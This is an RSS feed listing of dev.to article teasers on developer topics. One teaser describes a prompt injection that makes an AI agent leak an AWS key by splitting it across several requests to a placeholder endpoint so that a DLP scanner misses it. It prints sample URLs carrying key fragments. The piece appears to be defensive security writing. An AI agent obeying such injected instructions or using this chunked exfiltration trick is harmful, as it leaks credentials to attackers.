dev.to
Latest items from this RSS source.
Why I'm building Codeown: A dedicated space for the "Build In Public" generation 🚀
Building in silence is a thing of the past. As developers, our journey—the bugs, the late-night deployments, and the small wins—is just as valuable as the final code. That’s why I’m building Codeown, a platform designed specifically for developers to document…
Every Engineer Needs to Read "Every Day Is a Good Day"
Hey it's Buono. Today I wanna recommend a book. And no, it's not a tech book. Here's the thing. Engineers — myself included — have spent our entire careers getting really good at one thing: building stuff that's useful and convenient. That was the game. Build…
What's the Best Model to use with OpenCode
I have been extensively using OpenCode over the past few months. Overall, it has been working very well for me – but one issue I struggled with is to determine what model to use. There are hundreds to choose from, and, interestingly, what seems to be straight…
Lambda Durable Functions mata a Step Functions... ¿o no?
La verdad sobre cuándo usar cada una (y por qué necesitas entender ambas). Al final de este artículo, sabrás exactamente cuándo elegir cada una. Cuando AWS anunció Lambda Durable Functions en re:Invent 2025, mi primera reacción fue: "Espera... ¿no es eso lo q…
SiYuan vs Obsidian: Which to Self-Host?
Quick Verdict Obsidian is the better choice for most users — plain Markdown files, a massive plugin ecosystem, and a huge community make it the safer bet. SiYuan wins if you want a WYSIWYG block editor with features like block embedding, database views, and b…
One request looks clean. Five requests leak your AWS key.
A prompt injection tells your agent to send an AWS key to an external endpoint. Your DLP scanner catches it. Good. Now the injection gets smarter: Request 1: https://api.example.com/log?q=AKIA Request 2: https://api.example.com/log?q=IOSF Request 3: https://a…
Not Just HTML: Scraping Data from Messy PDFs
The "Final Boss" of Data Extraction You’ve mastered Nokogiri. You can navigate a nested <div> structure with your eyes closed. But then, your client or your boss sends you a link to a folder containing 500 PDF invoices, reports, or government filings. P…
How to build a free HN data pipeline in 30 minutes
Hacker News is one of the richest sources of signal in tech. New frameworks, hiring waves, shifting sentiment — it all shows up on HN before it hits mainstream. But scraping HN yourself is tedious and fragile. In this tutorial, I'll walk you through building …
Do commit ao deploy: CI/CD de uma API na AWS usando GitHub Actions, ECS e Terraform
Sumário Introdução Pré-requisitos Visão Geral da Arquitetura Configurando o IAM para o Terraform Infraestrutura como Código com Terraform Recursos Provisionados IAM Role para Tarefas ECS Task Definition (Fargate) ECS Service OIDC: Autenticação Sem Credenciais…
How to find missing i18n keys without losing your mind (or your job)
Look, we’ve all been there. You just pushed a massive feature, you’re feeling like a genius, and then the "urgent" Slack message hits. Your manager sends a screenshot from the production site, and instead of a nice "Submit" button, the users are seeing: {{ se…
𝗪𝗵𝘆 𝗪𝗲𝗯𝗦𝗼𝗰𝗸𝗲𝘁 𝗠𝗶𝗱𝗱𝗹𝗲𝘄𝗮𝗿𝗲 𝗜𝘀 𝘁𝗵𝗲 𝗦𝗲𝗰𝗿𝗲𝘁 𝗪𝗲𝗮𝗽𝗼𝗻 𝗕𝗲𝗵𝗶𝗻𝗱 𝗦𝗰𝗮𝗹𝗮𝗯𝗹𝗲 𝗥𝗲𝗮𝗹‑𝗧𝗶𝗺𝗲 𝗔𝗽𝗽𝘀
Most developers treat WebSocket middleware as “plumbing.” After building a crypto trading dashboard that processes 60+ updates per second across 10 currency pairs, I learned the opposite: Middleware is the brain of your real‑time system. Without it, everythin…
How I Built a Free German Learning App with Firebase + Vanilla JS (No Framework)
I've been learning German for a while and couldn't find a tool that fit my workflow — most apps are either too gamified or locked behind paywalls. So I built my own: AlmancaPratik, a free web app for Turkish speakers learning German. Here's the stack I used a…